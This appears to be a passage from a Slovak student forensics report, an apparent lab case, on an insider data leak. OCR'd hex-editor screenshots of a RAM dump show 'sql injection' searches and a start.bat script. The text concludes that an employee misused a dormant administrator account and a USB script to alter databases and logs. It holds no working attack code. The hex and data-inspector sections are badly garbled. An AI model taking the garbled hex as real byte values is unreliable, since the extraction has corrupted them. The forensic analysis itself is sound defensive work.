5963 65 2F &4 65 6C 65 74 65.45 64 69 74 00 00 73 71 6C 20 69 6E 6A 65 63 74 69 6F 6 2076 20
E5ES E5 £S5 E5 £5.£5 01000000 38,0000 0073 71 6C 20 69 6E 6A 65 63 74 69 6F 6€ 20 76 20

Block(h): TDBSEATES-TOBSEATAD Length(h: 19

Excerpt (text)
i

fiiiiisql injection v
fffiiisal injection v
ice/DeleteEdit.sql injection v

ceTiming....sal
fifiiisqt injection v
©lEézsql injection v
fifiiisqt injection v
ice/DeleteEdit.sqlinjection
fii..2...sqt injection v

Overwrite

Obrdzok 7 - RAM dump - Peter Oriesik - sql injection

0 HaD - [C\Usersstudent Desktop\km\20250322 km.aw]
1 File Edt Sexch View Analysis Tools Window Help

3-L|md

4 20250322 km.raw

ofsec(n)
7ESEADC30
7ESEADCH0
7E9EADCSO
7ESEADCE
TESEADCTO
7ESEADCED
7ESEADCE0
7ESEADCAQ
7ESEADCED
7E9EADCCO

7ESEADDE0
ESEADDSO
7ESEADDRO

7ESEADDEQ
7E9EADEOD

Checksum  Search

34330385F
x

Offset(h): TESEADD38

2+ 2216 | Windows (ANS) Ve N

Decoded text

Client. syncToREK
RN

Message.
Po:

cmd. .
£

@3 hits)

Excerpt (hex)
55/5C 63 6F 6D 6 61 6E 64 3D 6175 74 6F 5C 76 73 74 6172 74 26 62 6174 3£ 3E9001 01 34 5C
726F 677261 6D 73 5C 53746172 747570 5C T3 74 6172 74 26 62 6174 5C 7573 65 7273 5C
4EGF76FD 2028 466577 29 ES ES ESESESES 7374 617274 2E62 61

Excerpt (text)
e\command=auto\vstartbat>>..-\
rograms\Startupstart bat\users\

665746566 69 6C 65 2022 25 73 6E 78 7265 73 74 6172 74 26 62 61 7466 62 7A 63 6C 65 61
01100000008 00 000042 00 33 00 0000 £5 ES5 53 74 6172 74 2E 62 61 T4 £5 £ ESES ES ES ES
36320257769 6E 64 69 72.25 5C 7769 6 6473 74 6172 74 2E 62 61 74 AC 21 416765 6E 74
4E6FT6FD 2028466577 29 ES ESESES ESES T3 74 617274 26626174 s

letefile “%snaestart batnbzclea
istart batlii

H
>> SGwindir%\windstart bat-Agent

(C2 FE 8D B2 F3 A4 DE B3 00 5C 6D 69 6 65 72 5C 73 74 6172 74 26 62 6174 00 5C 77 69 6€ 63 63
2069 63 6F 6E.49.49.49 5004 00 00 09.00.00 00 53 74 6172 74 2E 62 61 74 8D E7 6D F9 7F 00 00
0200000000000000 608107 E9 DI 01000053 74 617274 26 62 6174 ESES ES ESESES 5
010000000800 000043003200 000004 2053 74 6172 74 26 62 61 74 23 46 44 42353931
7061757365 A0 72.2C 200D A 75 6C 26 617273 74 6172 74 26 62 6174 6 3A 66 6F 76 65 72
73 50 6F 77165 72 53 68 65 6C 6C 2F 90 02.40 2F 53 74 6172 74 26 62 61 74,50 00 03 00 1A 00 00
6174746163 626D 65 68 7473 2F 9002 30 2F 53 74 6172 74 26 62 61 743000 03,00 100000

Block(h): TESEADD38-TESEADDA) Length(n: 9

attachments/.0/Start.bat..

Overwrite

Obrdzok 8 - RAM dump - Peter Oriesik - start.bat

Dopad na vySetrovanie:

Special editors
Datainspector
144 »pl

inary (8 bit)

Single float32)
Double (floats)
OLETIME

O Little endian

ERERERERERER

s43977843
TIOTTIATA3 156650355
T307774743156650355
115

s

5(U+0073)
2,002751475290526-19
342740800070139E180

10.11.2036

O 8ig endisn

) Hecadecimal bass (for integral number)

Special editors

Data inspector
44 »pl

inary (8 bit)
I

AnsiChar/ chard.t
WideChar / charl6.t
UTF-8 code point
Single (float32)
Double (floats)
OLETIME
FILETIME

005 date

005 time

DOS time & date
Byte order

O Little endian

oto10011
£

3
)
20178
6386771

386771
1916989395
1918989395
7017222247066727507
T017222247066727507
a5
£

e

446558429192295€30
1,27807563611569E 161

nval
19.2.2038
143438
1.3.2037 143438

O 8igendian

() Hexadecimal basis forintegral numbers)

Tieto dokazy vyznamne prispeli k potvrdeniu hypotézy o internom utoku, nakolko:

Retazce boli zachytené v operaénej pamiti pouzivatela v ¢ase po incidente.




e PouZité vyrazy naznacuju amyselnu pripravu skriptu a znalost postupu.
e Vyhladavanie priamo koreSponduje s obsahom .bat skriptu najdeného na USB zariadeni.

Na zaklade analyzy RAM dumpu bolo mozné potvrdit, Ze pouzivatel Peter OrieSik sa zaujimal o
techniky SQL injection a pripravoval si postupy na realizaciu Utoku. Nedokonané timysly: Hoci plan
bol evidentne v Stadiu realizicie, ku kompletnému dokonaniu nedoslo. Klic¢ové USB zariadenie,
ktoré obsahovalo exfiltrované data a skript, bolo pravdepodobne stratené v kancelarii a nasledne
najdené vo vysavaci. Nenasli sa dékazy o tom, Ze by data boli:

e odoslané cez firemnu siet,
e nahraté na cloudové ulozisko,
e alebo inak distribuované tretim stranam.

Nenachddzaju sa ani Ziadne e-mailové konverzacie, ktoré by naznacovali obchodné rokovania alebo
pokus o predaj ziskanych udajov.

Na zédklade zhromazdenych digitdlnych dokazov a vykonanej analyzy jednotlivych zariadeni bola
vytvorena rozhodovacia matica pre objektivne vyhodnotenie hypotéz:

Hypotéza €. 1 — Neumyselné uloZenie firemnych dat na USB zariadenie
VYVRATENA

Hoci by za istych okolnosti mohlo déjst k nechcenému prenosu dat, v tomto pripade tomu nic¢
nenasvedcuje. Na USB sa nasli viaceré databazové subory (napr. users.db, customers.db, pricing.db),
ktoré su strukturované, uplné a zodpovedaju obsahom citlivym internym ddajom. Navyse bol na
zariadeni najdeny aj skript usb_attack_hidden.bat, ktory vykonava SQL prikazy aktivujice ucty a
upravujuce logy. Takéto kroky jasne preukazuju zamer a nie ndhodu.

Dévody vyvrdtenia:

1. Obsah USB bol cielene pripraveny.
2. Skript naznacuje imysel manipulovat databazu.
3. Data boli kopirované selektivne, nie ploSne.

Hypotéza . 2 — Externy utok prostrednictvom Skodlivého USB
VYVRATENA

Fyzickd analyza, pristupové logy a audit zabezpecenych priestorov nepotvrdili Ziadny neoprdvneny
vstup do budovy. USB zariadenie bolo najdené vo vysavaci — o skor naznacuje, Ze ho utoénik
nechtiac stratil. Nebola zistenda pritomnost skodlivého softvéru ani exploit kédov, ktoré by
naznacovali pokus o externé narusenie systémov.

Dévody vyvrdtenia:

1. Ziadne zndmky narusenia bezpe&nostnych protokolov.
2. USB obsahovalo interné data, nie malvér.
3. Podozrivy ucet a skript smeruju k internému povodu.



Hypotéza €. 3 — Zneutzitie neaktivneho Uctu administratora
POTVRDENA

Zaznamy v logoch databaz jasne ukazuju pristup pomocou konta martinezk, ktoré bolo dlhodobo
neaktivne. Tento Ucet bol aktivovany a pouZity na pristup k databazam a manipulaciu Udajov. Prikazy
koreSponduju so skriptom najdenym na USB zariadeni a vyhladavané vyrazy v RAM dump-e
potvrdzuju znalost a zamer vykonat Utok pomocou SQL injection.

Kfucové dékazy:

1. Aktivacia a poutzitie u¢tu martinezk v logoch (SQL prikazy na aktivaciu uctu).
2. Skript na USB zodpoveda vykonanym akciam v databaze.
3. RAM dump obsahoval vyrazy suvisiace so SQL injection a tvorbou BAT suborov.

ZaverecCné hodnotenie

Forenzna analyza jednoznacne potvrdila, Ze doslo k internému Uniku dat prostrednictvom zneuzitia
neaktivneho U¢tu martinezk. Uto¢nik (pravdepodobne zamestnanec Peter Oriesik) si pripravil BAT
skript, ktory manipuloval databazou a snazil sa zahladit stopy.

Najsilnejsi dokaz predstavuje skript usb_attack_hidden.bat a jeho zhodnost s operdciami
zaznamenanymi v logoch SQL servera. Hoci nebolo dokazané, Ze data boli UspeSne odovzdané tretej
strane, existovali vSetky predpoklady na ich postupné vynesenie — ¢o narusilo integritu a doveru vo
vnutorny bezpec€nostny rdmec firmy.



